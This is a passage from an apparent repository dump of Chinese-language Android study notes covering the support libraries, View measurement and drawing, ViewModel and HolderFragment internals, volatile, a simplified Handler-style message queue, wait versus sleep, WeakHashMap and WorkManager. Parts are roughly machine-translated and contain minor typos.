 ②、NotificationCompat -添加丰富的通知功能的支持。\n    ③、LocalBroadcastManager -允许应用程序轻松注册，并在一个单一的应用程序接收的意图，而不在全球播放它们（用于本地广播通知）。\n    \n    2、用户界面交互\n    ①、ViewPager -添加 的ViewGroup，管理布局为孩子的意见，这对用户之间可以刷卡（界面间的滑动交互）。\n    ②、PagerTitleStrip -增加一个非交互标题条，可以被添加作为一个子 ViewPager。\n    ③、PagerTabStrip -增加一个导航部件分页视图之间进行切换，即也可以与使用 ViewPager。\n    ④、DrawerLayout -用于创建添加支持导航抽屉，可以从一个窗口的边缘被拉到中（侧滑栏的实现）。\n    ⑤、SlidingPaneLayout -用于创建链接的摘要和详细视图，适当地适应各种屏幕尺寸添加小部件（也是侧滑栏的实现，和DrawerLayout不同的是，DrawerLayout侧滑栏出来的时候，默认是覆盖在当前页面上，而SildingPaneLayout则是会将当前页面移走）。\n    \n    3、可访问性\n    ①、ExploreByTouchHelper -增加了一个辅助类实现了自定义视图可访问性支持（帮助自定义View实现Accessibility的工具类）。\n    ②、AccessibilityEventCompat -为增加支持 AccessibilityEvent。有关实现可访问性的更多信息，请参阅辅助功能。\n    ③、AccessibilityNodeInfoCompat -为增加支持AccessibilityNodeInfo。\n    ④、AccessibilityNodeProviderCompat -为增加支持AccessibilityNodeProvider。\n    ⑤、AccessibilityDelegateCompat -为增加支持 View.AccessibilityDelegate。\n    内容\n    \n    4、数据访问帮助类\n    ①、Loader -增加了对数据的异步加载的支持。该库还提供了此类的具体实现，包括 CursorLoader和AsyncTaskLoader。\n    ②、FileProvider -添加应用程序之间共享私人文件的支持。\n    \n    有包括在这个库中许多其他的API。有关V4支持库API的完整，详细的信息，请参阅android.support.v4包中的API参考。\n    \n    该库位于<SDK> /extras/android/support/v4/目录中下载Android支持库后。该库中不包含用户界面资源。把它列入你的应用程序项目，然后按照说明添加库没有资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:support-v4:21.0.0+\n    这种依赖性符号指定发行版本21.0.0或更高版本。\n    \n    Multidex支持库\n    该库提供了多的Dalvik可执行文件（DEX）文件构建应用程序的支持。引用超过65536方法的应用程序都需要使用multidex配置。有关使用multidex的详细信息，请参阅构建应用程序与在65K方法。\n    \n    该库位于<SDK>/extras/android/support/multidex/目录中下载Android支持库后。该库中不包含用户界面资源。把它列入你的应用程序项目，然后按照说明添加库没有资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:multidex:1.0.0+\n    这种依赖性符号指定发行版本1.0.0或更高版本。\n\n- Android Support v7支持库\n    \n    有设计成与Android 2.1（API 7级）和较高的使用几个库。这些图书馆提供特定的功能集，并可以包含在独立的应用程序彼此。\n    \n    （1）、v7 appcompat库\n    这个库增加了对support action bar的用户界面设计模式。该库包括support material design的用户界面实现（这个包的主要作用是为了在低版本实现 Android 的 Holo 风格界面而引入的，与之类似的有一个开源项目叫做 SherlockActionbar）。\n    注意： 这个库依赖于V4支持库。如果您在使用Ant或者Eclipse，请确保您包括V4支持库，因为这个库的类路径中的一部分。\n    \n    这里有几个关键的类包含在V7 appcompat库：\n    \n    ①、ActionAar -提供的操作栏的实现 用户界面模式。有关使用操作栏的详细信息，请参阅 操作栏开发人员指南。\n    ②、ActionBarActivity -添加时必须使用作为活动使用的支持库操作栏实现基类的应用程序活动课。\n    ③、ShareActionProvider -一个标准化的分享动作（如电子邮件，或张贴到社交应用），可以包含在动作条上增加了支持。\n    该库位于<SDK> /extras/android/support/v7/appcompat/ 目录中下载Android支持库后。该库包含用户界面资源。把它列入你的应用程序项目，然后按照说明 添加库的资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:appcompat-v7:21.0.0+\n    这种依赖性符号指定发行版本21.0.0或更高版本。\n    \n    （2）、v7 cardview库\n    这个库增加了对支持CardView 控件，它可以让你证明这里面有一个一致的外观上的任何应用程序卡的信息。这些卡是材料设计的实现是有用的，并且被广泛用于布局的电视应用程序（卡片布局是最近在Android5.0发布的时候才引入的新包，主要效果是让应用进行卡片化显示）。\n    \n    该库位于 <SDK> /axtras/android/support/v7/cardview/目录中下载Android支持库后。该库包含用户界面资源。把它列入你的应用程序项目，然后按照说明添加库的资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:cardview-v7:21.0.0+\n    这种依赖性符号指定发行版本21.0.0或更高版本。\n    \n    （3）、v7 GridLayout的Library\n    这个库增加了对支持GridLayout的类，它允许你安排使用矩形单元的网格用户界面元素。有关V7 GridLayout的库API的详细信息，请参阅 android.support.v7.widget包中的API参考。\n    \n    该库位于<SDK> /extras/android/support/v7/GridLayout/目录中下载Android支持库后。该库包含用户界面资源。把它列入你的应用程序项目，然后按照说明添加库的资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:gridlayout-v7:21.0.0+\n    这种依赖性符号指定发行版本21.0.0或更高版本。\n    \n    （4）、v7 mediarouter库\n    该库提供MediaRouter，MediaRouteProvider，以及相关的媒体类，支持 GoogleCast（主要用于进行设备间的音频，视频交换显示）。\n    \n    在一般情况下，在第7版mediarouter库中的API提供的控制的媒体信道的路由的一种方法，并从当前设备到外部屏幕，扬声器，和其他的目的设备流。该库包含的API用\n    \n    于发布应用程序特定的媒体路由提供商，为发现和选择目标设备，用于检查介质的状态，等等。有关V7 mediarouter库API的详细信息，请参阅android.support.v7.media包中的API参考。\n    \n    mediarouter库位于该V7 <SDK> /extras/android/support/v7/mediarouter/目录中下载Android支持库后。它作为一个库项目，在V7 appcompat库的依赖性，所以你需要设置，当你的项目，包括图书馆在构建路径。有关如何设置你的项目的更多信息，请按照说明添加库的资源。如果您正在开发在Eclipse / ADT，请务必同时包含Android的support-v7-mediarouter.jar和 Android的support-v7-appcompat.jar文件。\n    \n    如果您使用的是Android Studio，所有你需要做的是指定的摇篮构建脚本的依赖标识符com.android.support:support-v7-mediarouter：<修订>，其中“<修订>”是最低版本在该图书馆是可用的。例如：\n    \n    com.android.support:mediarouter-v7:21.0.0+\n    在支持库R18推出的V7 mediarouter库API都受到了支持库的更新版本改变。这时，我们建议您使用该库仅在连接GoogleCast。\n    \n    （5）、v7 Palette库\n    在v7 Palette支持库包括Panel类，它可以让你从图像中提取突出的颜色。例如，一个音乐应用程序可以使用一个 调色板对象从专辑封面中提取的主要颜色，并用这些颜色来打造一个色彩协调的歌名卡（这个包也是最新出来的，他的作用是帮助 Android 实现他的 MaterialDesign，让你的 Actionbar 能够根据界面进行对应的颜色改变）。\n    \n    该库位于 <SDK> /extras/android/support/v7/Palette/目录中下载Android支持库后。该库中不包含用户界面资源。把它列入你的应用程序项目，然后按照说明 添加库没有资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:Palette-v7:21.0.0+\n    这种依赖性符号指定发行版本21.0.0或更高版本。\n    \n    （6）、v7 recyclerview库\n    该recyclerview库添加RecyclerView 类。该类提供用于支持 RecyclerView插件，用于通过提供的数据项的有限窗口有效地显示大量数据集的图（这个包同样也是刚出来的，他的作用是替换 ListView 和 GridView，但是可惜是没有实现 OnItemClick 这些接口，你需要自己处理它）。\n    \n    该库位于 <SDK> /extras/android/support/v7/recyclerview/目录中下载Android支持库后。该库包含用户界面资源。把它列入你的应用程序项目，然后按照说明添加库的资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:recyclerview-v7:21.0.0+\n    这种依赖性符号指定发行版本21.0.0或更高版本。\n    \n- Android Support v8支持库\n\n    这个库被设计成与Android（API等级8）和较高的使用。它增加了对支持RenderScript计算框架。这些API包括在android.support.v8.renderscript包。你应该知道的步骤，包括这些API在应用程序中是非常不同的其他的支持库API。有关在应用程序中使用这些API的更多信息，请参阅 RenderScript 开发人员指南。\n    \n    注：使用RenderScript与支持库支持与Android的Eclipse插件和Ant构建工具。它是目前不采用Android Studio或支持的摇篮-基于构建。\n    \n    Android Support v13支持库\n    这个库是设计用来为Android 3.2（API级别13）和更高。它增加了对支持片段的（用户界面模式FragmentCompat）类和附加片段支持类。有关片段的详细信息，请参阅 Fragment开发人员指南。有关V13支持库API的详细信息，请参阅android.support.v13包中的API参考。\n    \n    该库位于<SDK> /extras/android/support/v13/目录中下载Android支持库后。该库中不包含用户界面资源。把它列入你的应用程序项目，然后按照说明 添加库没有资源。\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:support-v13:18.0.0+\n    这种依赖性符号指定发行版本18.0.0或更高版本。\n\n- Android Support v17库\n    \n    该android.support.v17.leanback包提供的API来支持建筑物的用户界面在电视上的设备。它提供了许多重要的窗口小部件用于电视的应用程序。一些著名的类包括：\n    \n    ①、BrowseFragment -的片段，用于创建一个主布局为浏览类别和行的媒体项目。\n    ②、DetailsFragment -一个包装片段Leanback的细节画面。\n    ③、PlaybackOverlayFragment -的一个子类DetailsFragment用于显示播放控制及相关内容。\n    ④、SearchFragment -一个片段来处理搜索。片段接收到用户的搜索请求，并把它传递给应用程序提供的SearchResultProvider。该SearchResultProvider返回搜索结果给SearchFragment，这使得它们成为一个RowsFragment。\n    \n    该库位于 <SDK> /extras/android/support/v17/Leanback的目录中下载Android的支持库后。有关如何设置你的项目的更多信息，请按照说明添加库的资源\n    这图书馆的摇篮构建脚本依赖标识符如下：\n    com.android.support:leanback-v17:21.0.0+\n    这种依赖性符号指定发行版本21.0.0或更高版本。"
  },
  {
    "path": "docs/android/sources/view_root.md",
    "content": "### View工作原理\n\n1. 在ActivityThread 中Activity创建完毕后，会将DecorView添加到Window中，同时创建ViewRootImpl\n对象，并将ViewRootImpl和DecorView对象建立关联；因此View的绘制也是从ViewRoot的performTravelsals方法开始\n\nPerfromTrasal方法依次调用如下方法\n \n 1. performMeasure  measure   onMeasure   如果有子类继续调用子类measure onMeasure\n \n 2. performLayout   layout   onLayout   .......\n \n \n 3. performDraw   draw  onDraw  .........\n \n \n \n DecorView作为顶级View其实是一个FrameLayout  它内部包含了一个LInearLayout，这个LinearLayout里面有两个部分，具体还看主题和Android版本\n \n 总之一定会有一个content区域，我们设置的setContentView就是设置到这个区域内\n \n SpecMode有三种\n \n \n 1. Unspecified 不做限制要多大给多大，这种情况用于系统内部\n \n 2. Excalty  精确的 match_parent 或者具体数值\n \n 3. AT_MOST ：不超过父容器传来的限制最大值\n  \n                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "
  },
  {
    "path": "docs/android/sources/viewmodel.md",
    "content": "### ViewModel 源码分析\n\n1. ViewModel\n\n     ViewModel，从字面上理解的话，它肯定是跟视图(View)以及数据(Model)相关的。正像它字面意思一样，它是负责准备和管理和UI组件(Fragment/Activity)相关的数据类，也就是说ViewModel是用来管理UI相关的数据的，同时ViewModel还可以用来负责UI组件间的通信。\n\n2. ViewModel 解决什么问题\n\n  1. 在MVP模式中，我们Presenter是无声明周期感知的，当异步处理数据很容易造成内存泄露，通常解决办法写一些声明周期函数，提供回调\n     （ViewModel感知声明周期 不会内存泄露）\n  2. 当Activity因为配置变化而销毁重建时，一般数据会重新请求，其实这是一种浪费，最好就是能够保留上次的数据，通常解决方法在onSaveinstance保存数据，单不适合保存大量数据，不方便序列化，会导致OOM，或通过Presenter单例模式，浪费资源\n      (ViewModel 可以在Activity重建是保存数据，怎么做到的？？下面一会细说）\n  3. UI controllers其实只需要负责展示UI数据、响应用户交互和系统交互即可，在MVP模式中的P解决了这一问题，ViewModel 类似这个P的责任\n\n\n3. 原理剖析\n   主要类：\n   1. ViewModelProviders  提供不同种类方法创建ViewModelProvider\n   2. ViewModelProvider  用来创建ViewModel的，里面持有 Factory  和ViewModelStore\n   3. Factory  一个抽象类，实现类决定如何创建ViewModel,有一个默认实现ViewModelProvider里，如果我们实现的ViewModel参数不仅仅一个application,就需要自定义工厂方法\n   4. ViewModel 我们最终需要的对象\n   5. ViewModelStores 用来创建ViewModelStore,但首先要先创建HoldFragment\n   6. HoldFragmentManager 维护两个Map\n   7. HoldFragment 用来感知生命周期变化，做相应处理\n   8. ViewModelStore 维护一个Map 来保存ViewModel\n\n\n重点说一下：HolderFragment ,\n1. 在ViewModelStores 我们会调用 holderFragmentFor，有两个方法，一个是传递FragmentActivity,一个是传递Fragment\n\n        @RestrictTo(RestrictTo.Scope.LIBRARY_GROUP)\n        public static HolderFragment holderFragmentFor(FragmentActivity activity) {\n               return sHolderFragmentManager.holderFragmentFor(activity);\n        }\n\n        @RestrictTo(RestrictTo.Scope.LIBRARY_GROUP)\n        public static HolderFragment holderFragmentFor(Fragment fragment) {\n            return sHolderFragmentManager.holderFragmentFor(fragment);\n        }\n\n2. 继续看HolderFragmentManager\n\n\n        HolderFragment holderFragmentFor(FragmentActivity activity) {\n            FragmentManager fm = activity.getSupportFragmentManager();\n            // 有没有已经attach的, 有就直接返回 HolderFragment，这个放在就是再Activity重建的时候，并且HolderFrament 设置 setRetainInstance(true)时，才会有值，否者其他情况都为Null\n            HolderFragment holder = findHolderFragment(fm);\n            if (holder != null) {\n                return holder;\n            }\n            // 这个集合在HolderFragment onCreate前保存，在onCreate后被移除\n            holder = mNotCommittedActivityHolders.get(activity);\n            if (holder != null) {\n                return holder;\n            }\n            // 此方法监听一下Activity声明周期，只会调用一次\n            if (!mActivityCallbacksIsAdded) {\n                mActivityCallbacksIsAdded = true;\n                activity.getApplication().registerActivityLifecycleCallbacks(mActivityCallbacks);\n            }\n            // 创建一个新的HolderFragment，不会被立即onAttach\n            holder = createHolderFragment(fm);\n            // 先添加到缓存，当我们同时在一个Activity中创建很多个ViewModel 时从缓存这里拿也就是先Activity onCreate 执行完才执行attach 、onCreate方法\n            // 注意 这里和ViewModel在哪个位置创建有关，如果在Activity onCreate 创建这个里面会被保存，每次从map里面拿，如果写在onResume里面\n            // 就会从findHolderFragment拿， 同时mNotCommittedActivityHolders集合里面也没有元素了，因为onResume里创建都会被立即执行attach onCreate，而onCreate里面调用了remove方法\n            mNotCommittedActivityHolders.put(activity, holder);\n            return holder;\n        }\n\n\n        private static HolderFragment createHolderFragment(FragmentManager fragmentManager) {\n            HolderFragment holder = new HolderFragment();\n            fragmentManager.beginTransaction().add(holder, HOLDER_TAG).commitAllowingStateLoss();\n            return holder;\n        }\n\n         private static HolderFragment findHolderFragment(FragmentManager manager) {\n                    if (manager.isDestroyed()) {\n                        throw new IllegalStateException(\"Can't access ViewModels from onDestroy\");\n                    }\n\n                    Fragment fragmentByTag = manager.findFragmentByTag(HOLDER_TAG);\n                    if (fragmentByTag != null && !(fragmentByTag instanceof HolderFragment)) {\n                        throw new IllegalStateException(\"Unexpected \"\n                                + \"fragment instance was returned by HOLDER_TAG\");\n                    }\n                    return (HolderFragment) fragmentByTag;\n                }\n\n\n3.  总结\n\n    1. 之前一直不懂为什么中间要多一层HolderFragment，而不直接依赖于ViewModelStore； 原因在于Fragment可以设置setRetainInstance(true) 来保证Fragment\n    不会在Activity重建时也重建 并配合 findHolderFragment(fm) 来获取之前已绑定的Fragment\n\n    2. 之前一直不理解HolderFragmentManager中mNotCommittedActivityHolders集合的生命周期，并且在全局监听 onDestroy 移除一次，HolderFragment onCreate 后也移除一次\n\n       我们要知道一件事情 Activity onCreate方法执行完后  才会执行Fragment的 onAttach  onCreate onCreateView onActivityCreate\n\n       因此当我们在Activity onCreate 创建很多个ViewModel 时，先findHolderFragment肯定查不到（只有Activity onCreate执行完）我们就会先放入map缓存一个，然后后面都从缓存获取，等到Activity onCreate 执行结束，HolderFragment的  onCreate执行，然后调用\n       sHolderFragmentManager.holderFragmentCreated(this);从map中移除\n\n       实验，如果Activity onResume 创建 先放入map缓存，然后立刻执行HolderFragment onCreate 移除，接下来的就会从findHolderFragment获取到，因为已经onAttach\n\n    3. 最后当界面结束的时候还会调用mActivityCallbacks的onDestroy来再一次移除map中数据，这个实验，基本集合都已经为Null，这应该是作者害怕使用者在其他线程调用导致多线程map移除不掉的问题导致内存泄露，或者还未绑定界面意外崩溃程序死亡等情况，如果在onCreate中创建就不会有问题，所以使用的时候就乖乖在onCreate中使用吧\n\n\n\n\n"
  },
  {
    "path": "docs/android/sources/volatile.md",
    "content": "\n### volatile 原理\n\n在多线程并发编程中synchronized和Volatile都扮演着重要的角色，Volatile是轻量级的synchronized，它在多处理器开发中保证了共享变量的“可见性”。可见性的意思是当一个线程修改一个共享变量时，另外一个线程能读到这个修改的值。它在某些情况下比synchronized的开销更小，本文将深入分析在硬件层面上Inter处理器是如何实现Volatile的，通过深入分析能帮助我们正确的使用Volatile变量。\n\n#### 术语定义\n\n共享变量\t\t在多个线程之间能够被共享的变量被称为共享变量。共享变量包括所有的实例变量，静态变量和数组元素。他们都被存放在堆内存中，Volatile只作用于共享变量。\n原子操作\tAtomic operations\t不可中断的一个或一系列操作。\n\nVolatile的官方定义\nJava语言规范第三版中对volatile的定义如下： java编程语言允许线程访问共享变量，为了确保共享变量能被准确和一致的更新，线程应该确保通过排他锁单独获得这个变量。Java语言提供了volatile，在某些情况下比锁更加方便。如果一个字段被声明成volatile，java线程内存模型确保所有线程看到这个变量的值是一致的。\n\n为什么要使用Volatile\nVolatile变量修饰符如果使用恰当的话，它比synchronized的使用和执行成本会更低，因为它不会引起线程上下文的切换和调度。\n\n#### Volatile的实现原理\n\n那么Volatile是如何来保证可见性的呢？在x86处理器下通过工具获取JIT编译器生成的汇编指令来看看对Volatile进行写操作CPU会做什么事情。\nJava代码：\tinstance = new Singleton();//instance是volatile变量\n汇编代码：\t0x01a3de1d: movb $0x0,0x1104800(%esi);0x01a3de24: lock addl $0x0,(%esp);\n\n#### 内存模型浅显分析\n\n操作系统语义\n计算机在运行程序时，每条指令都是在CPU中执行的，在执行过程中势必会涉及到数据的读写。我们知道程序运行的数据是存储在主存中，这时就会有一个问题，读写主存中的数据没有CPU中执行指令的速度快，如果任何的交互都需要与主存打交道则会大大影响效率，所以就有了CPU高速缓存。CPU高速缓存为某个CPU独有，只与在该CPU运行的线程有关。\n有了CPU高速缓存虽然解决了效率问题，但是它会带来一个新的问题：数据一致性。在程序运行中，会将运行所需要的数据复制一份到CPU高速缓存中，在进行运算时CPU不再也主存打交道，而是直接从高速缓存中读写数据，只有当运行结束后才会将数据刷新到主存中。举一个简单的例子\n\n主存有个变量i，在多个线程都执行++操作时，很明显都先拷贝到缓存中，然后CPU执行完后在刷回主存中，这样就有可能最后结果并不是两个线程合起来结果，例如原本i=0;两个线程i++后，i应该为2，但结果却是1\n解决缓存一致性方案有两种：\n\n  1. 通过在总线加LOCK#锁的方式\n  2. 通过缓存一致性协议\n但是方案1存在一个问题，它是采用一种独占的方式来实现的，即总线加LOCK#锁的话，只能有一个CPU能够运行，其他CPU都得阻塞，效率较为低下。\n第二种方案，缓存一致性协议（MESI协议）它确保每个缓存中使用的共享变量的副本是一致的。其核心思想如下：当某个CPU在写数据时，如果发现操作的变量是共享变量，则会通知其他CPU告知该变量的缓存行是无效的，因此其他CPU在读取该变量时，发现其无效会重新从主存中加载数据。\n\nvolatile可以保证线程可见性且提供了一定的有序性，但是无法保证原子性。在JVM底层volatile是采用“内存屏障”来实现的。\n上面那段话，有两层语义\n  3. 保证可见性、不保证原子性\n  4. 禁止指令重排序\n  \n  观察加入volatile关键字和没有加入volatile关键字时所生成的汇编代码发现，加入volatile关键字时，会多出一个lock前缀指令。lock前缀指令其实就相当于一个内存屏障。内存屏障是一组处理指令，用来实现对内存操作的顺序限制。volatile的底层就是通过内存屏障来实现的。下图是完成上述规则所需要的内存屏障：\n  volatile暂且下分析到这里，JMM体系较为庞大，不是三言两语能够说清楚的，后面会结合JMM再一次对volatile深入分析。\n  \n  \n#### 总结\n  volatile看起来简单，但是要想理解它还是比较难的，这里只是对其进行基本的了解。volatile相对于synchronized稍微轻量些，在某些场合它可以替代synchronized，但是又不能完全取代synchronized，只有在某些场合才能够使用volatile。使用它必须满足如下两个条件：\n    3. 对变量的写操作不依赖当前值；\n    4. 该变量没有包含在具有其他变量的不变式中。"
  },
  {
    "path": "docs/android/sources/volley_algorithm.md",
    "content": "### Volley经典算法\n\n\n#### 介绍\n\n网络底层请求实际上是用OKHttp类或 HttpUrlConnection类或 者HttpClient这个库做的。\nVolley在这些基础库上做了封装，例如线程的控制，缓存和回调。\n\n        \n        /**\n        简化版本的请求类，包含请求的Url和一个Runnable 回调\n        **/\n        class Request{\n            public String requestUrl;\n            public Runnable callback;\n            public Request(String url, Runnable callback)\n            {\n                this.requestUrl = url;\n                this.callback = callback;\n            }\n        }\n        \n        //消息队列\n        Queue<Request> requestQueue = new LinkedList<Request>();\n        \n        new Thread( new Runnable(){\n            public void run(){\n                //启动一个新的线程，用一个True的while循环不停的从队列里面获取第一个request并且处理\n                while(true){\n                    if( !requestQueue.isEmpty() ){\n                        Request request = requestQueue.poll();\n                        \n                        String response = // 处理request 的 url，这一步将是耗时的操作，省略细节\n                        \n                        new Handler( Looper.getMainLooper() ).post( request.callback )\n                     }\n                }\n            }\n        }).start();\n        \n#### 发送延迟消息\n    \n    //一个消息的类结构，除了runnable，还有一个该Message需要被执行的时间execTime，两个引用，指向该Message在链表中的前任节点和后继节点。\n    public class Message{\n        public long execTime = -1;\n        public Runnable task;\n        public Message prev;\n        public Message next;\n        public Message(Runnable runnable, long milliSec){\n            this.task = runnable;\n            this.execTime = milliSec;\n        }\n    }\n    public class MessageQueue{\n        //维持两个dummy的头和尾作为我们消息链表的头和尾，这样做的好处是当我们插入新Message时，不需要考虑头尾为Null的情况，这样代码写起来更加简洁，也是一个小技巧。\n        //头的执行时间设置为-1，尾是Long的最大值，这样可以保证其他正常的Message肯定会落在这两个点之间。\n        private Message head = new Message(null,-1);\n        private Message tail = new Message(null,Long.MAX_VALUE);\n        public void run(){\n            new Thread( new Runnable(){\n                public void run(){\n                //用死循环来不停处理消息\n                while(true){\n                        //这里是关键，当头不是dummy头，并且当前时间是大于或者等于头节点的执行时间的时候，我们可以执行头节点的任务task。\n                            if( head.next != tail && System.currentTimeMillis()>= head.next.execTime ){\n                            //执行的过程需要把头结点拿出来并且从链表结构中删除\n                            Message current = head.next;\n                            Message next = current.next;\n                            current.task.run();\n                            current.next = null;\n                            current.prev =null;\n                            head.next = next;\n                            next.prev = head;\n                        }\n                    }\n                }\n            }).start();\n        }\n        public void post(Runnable task){\n            //如果是纯post，那么把消息放在最尾部\n            Message message = new Message( task,  System.currentMilliSec() );\n            Message prev = tail.prev;\n            prev.next = message;\n            message.prev = prev;\n            message.next = tail;\n            tail.prev = message;\n        }\n        public void postDelay(Runnable task, long milliSec){\n            //如果是延迟消息，生成的Message的执行时间是当前时间+延迟的秒数。\n            Message message = new Message( task,  System.currentMilliSec()+milliSec);\n            //这里使用一个while循环去找第一个执行时间在新创建的Message之前的Message，新创建的Message就要插在它后面。\n            Message target = tail;\n            while(target.execTime>= message.execTime){\n                target = target.prev;\n            }\n            Message next = target.next;\n            message.prev = target;\n            target.next = message;\n            message.next = next;\n            next.prev = message;\n        }\n    }\n\n\n\n    MessageQueue queue = new MessageQueue();\n    //开启queue的while循环\n    queue.run();\n    queue.post( new Runnable(....) )\n    //三秒之后执行\n    queue.postDelay( new Runnable(...) , 3*1000 )\n    \n*上面的post，和postDelay看起来非常眼熟，没错，这个就是安卓里面Handler的经典方法*\n\n#### 注意延迟只能保证延后，并不是非常准确\n\n像上述代码的例子里面，延迟三秒，是不是精确的做到了在当前时间的三秒后运行.  答案当然是NO!\n\n在这个设计下，我们只能保证：\n\n假如消息A延迟的秒数为X，当前时间为Y，系统能保证A不会在X+Y之前执行。 这样其实很好理解，因为如果使用队列来执行代码的话，你永远不知道你前面那个Message的执行时间是多少，假如前面的Message执行时间异常的长。。。。那么轮到当前Message执行的时候，肯定会比它自己的execTime偏后。但是这是可接受的。\n\n如果我们需要严格让每个Message按照设计的时间执行，那就需要Alarm，类似闹钟的设计了。大家有兴趣可以想想看怎么用最基本的数据结构实现"
  },
  {
    "path": "docs/android/sources/wait_sleep.md",
    "content": "### Java中wait和sleep方法的区别\n\n1. 这两个方法来自不同的类分别是Thread和Object  \n\n2. 最主要是sleep方法没有释放锁，而wait方法释放了锁，使得其他线程可以使用同步控制块或者方法(锁代码块和方法锁)。 \n \n3. (使用范围)wait，notify和notifyAll只能在同步控制方法或者同步控制块里面使用，而sleep可以在任何地方使用\n \n4. sleep必须捕获异常，而wait，notify和notifyAll不需要捕获异常  \nsleep方法属于Thread类中方法，表示让一个线程进入睡眠状态，等待一定的时间之后，自动醒来进入到可运行状态，不会马上进入运行状态，因为线程调度机制恢复线程的运行也需要时间，一个线程对象调用了sleep方法之后，并不会释放他所持有的所有对象锁，所以也就不会影响其他进程对象的运行。但在sleep的过程中过程中有可能被其他对象调用它的interrupt(),产生InterruptedException异常，如果你的程序不捕获这个异常，线程就会异常终止，进入TERMINATED状态，如果你的程序捕获了这个异常，那么程序就会继续执行catch语句块(可能还有finally语句块)以及以后的代码。  \n注意sleep()方法是一个静态方法，也就是说他只对当前对象有效，通过t.sleep()让t对象进入sleep，这样的做法是错误的，它只会是使当前线程被sleep 而不是t线程  \n wait属于Object的成员方法，一旦一个对象调用了wait方法，必须要采用notify()和notifyAll()方法唤醒该进程;如果线程拥有某个或某些对象的同步锁，那么在调用了wait()后，这个线程就会释放它持有的所有同步资源，而不限于这个被调用了wait()方法的对象。wait()方法也同样会在wait的过程中有可能被其他对象调用interrupt()方法而产生  \n \n5. 同时wait一般和while连用\n\n如果线程A希望立即结束线程B，则可以对线程B对应的Thread实例调用interrupt方法。如果此刻线程B正在wait/sleep/join，则线程B会立刻抛出InterruptedException，在catch() {} 中直接return即可安全地结束线程。\n\n需要注意的是，InterruptedException是线程自己从内部抛出的，并不是interrupt()方法抛出的。对某一线程调用interrupt()时，如果该线程正在执行普通的代码，那么该线程根本就不会抛出InterruptedException。但是，一旦该线程进入到wait()/sleep()/join()后，就会立刻抛出InterruptedException\n\n"
  },
  {
    "path": "docs/android/sources/weakHashMap.md",
    "content": "\n### WeakHashMap \n\n#### 1.问题\n\n1. Java WeakHashMap 到底Weak在哪里，它真的很弱吗？\n2. WeakHashMap 的适用场景是什么，使用时需要注意些什么？\n3. 弱引用和强引用对Java GC有什么不同影响？\n\n\n#### 2.介绍\n\n WeakHashMap，从名字可以看出它是某种 Map。它的特殊之处在于 WeakHashMap 里的entry可能会被GC自动删除，即使程序员没有调用remove()或者clear()方法。\n更直观的说，当使用 WeakHashMap 时，即使没有显示的添加或删除任何元素，也可能发生如下情况：\n\n1. 调用两次size()方法返回不同的值；\n2. 两次调用isEmpty()方法，第一次返回false，第二次返回true；\n3. 两次调用containsKey()方法，第一次返回true，第二次返回false，尽管两次使用的是同一个key；\n4. 两次调用get()方法，第一次返回一个value，第二次返回null，尽管两次使用的是同一个对象。\n\n遇到这么奇葩的现象，你是不是觉得使用者一定会疯掉？\n\n    其实不然，WeekHashMap 的这个特点特别适用于需要缓存的场景。在缓存场景下，由于内存是有限的，不能缓存所有对象；对象缓存命中可以提高系统效率，但缓存MISS也不会造成错误，因为可以通过计算重新得到。\n\n要明白 WeekHashMap 的工作原理，还需要引入一个概念：弱引用（WeakReference）。我们都知道Java中内存是通过GC自动管理的，GC会在程序运行过程中自动判断哪些对象是可以被回收的，并在合适的时机进行内存释放。GC判断某个对象是否可被回收的依据是，是否有有效的引用指向该对象。如果没有有效引用指向该对象（基本意味着不存在访问该对象的方式），那么该对象就是可回收的。这里的“有效引用”并不包括弱引用。也就是说，虽然弱引用可以用来访问对象，但进行垃圾回收时弱引用并不会被考虑在内，仅有弱引用指向的对象仍然会被GC回收。\n\nWeakHashMap 内部是通过弱引用来管理entry的，弱引用的特性对应到 WeakHashMap 上意味着什么呢？将一对key, value放入到 WeakHashMap 里并不能避免该key值被GC回收，除非在 WeakHashMap 之外还有对该key的强引用。\n"
  },
  {
    "path": "docs/android/sources/workManager.md",
    "content": "\n\n### WorkManager\n\n\n1. 简介: 就是 ”管理一些要在后台工作的任务, – 即使你的应用没启动也能保证任务能被执行”。\n\n2. 为啥不用AsyncTask, ThreadPool, RxJava?\n  这三个和WorkManager并不是替代的关系. 这三个工具, 能帮助你在应用中开后台线程干活, 但是应用一被杀或被关闭, 这些工具就干不了活了。\n  而WorkManager不是, 它在应用被杀, 甚至设备重启后仍能保证你安排给他的任务能得到执行。\n  其实Google自己也说了:”WorkManager并不是为了那种在应用内的后台线程而设计出来的.\n  如果你有这种需求你应该使用ThreadPool”。\n\n3. 那为何不用JobScheduler, AlarmManger来做?\n  其实这个想法很对. WorkManager在底层也是看你是什么版本来选到底是JobScheduler, AlamarManager来做。\n  JobScheduler是Android 5.x才有的. 而AlarmManager一直存在. 所以WorkManager在底层, 会根据你的设备情况, 选用JobScheduler, Firebase的JobDispatcher, 或是AlarmManager。\n\n#### WorkManager使用\n\n1. 导入jar包\n\n    Kotlin\n\n         implementation \"android.arch.work:work-runtime-ktx:1.0.0-alpha01\"\n\n    Java\n\n         implementation \"android.arch.work:work-runtime:1.0.0-alpha01\"\n\n2. 首先创建一个XXXWork继承Work类，实现doWork方法，doWork方法就可以执行你的任务了\n\n   1. doWork没有参数，怎么传递参数呢？通过setInputData()和getInputData()\n   2. 如何返回数据？通过setOutData()和getOutData()\n   3. 结果如何监听？通过 workManager.getStatusById(uuid).observe()\n   4. 监听状态有几种? ENQUEUED RUNNING SUCCEEDED\n\n3.两种work类型，一种执行一次；一种周期性执行\n\n       //notice 一次的请求\n        OneTimeWorkRequest oneTimeWorkRequest = new OneTimeWorkRequest.Builder(\n                UploadWork.class\n        ).setConstraints(constraints).setInputData(inputData).build();\n\n\n        //notice 执行定时任务：设置工作的时间间隔\n        PeriodicWorkRequest periodicWorkRequest = new PeriodicWorkRequest.Builder(UploadWork\n                .class, 1, TimeUnit.MINUTES).addTag(UploadWork.TAG)\n                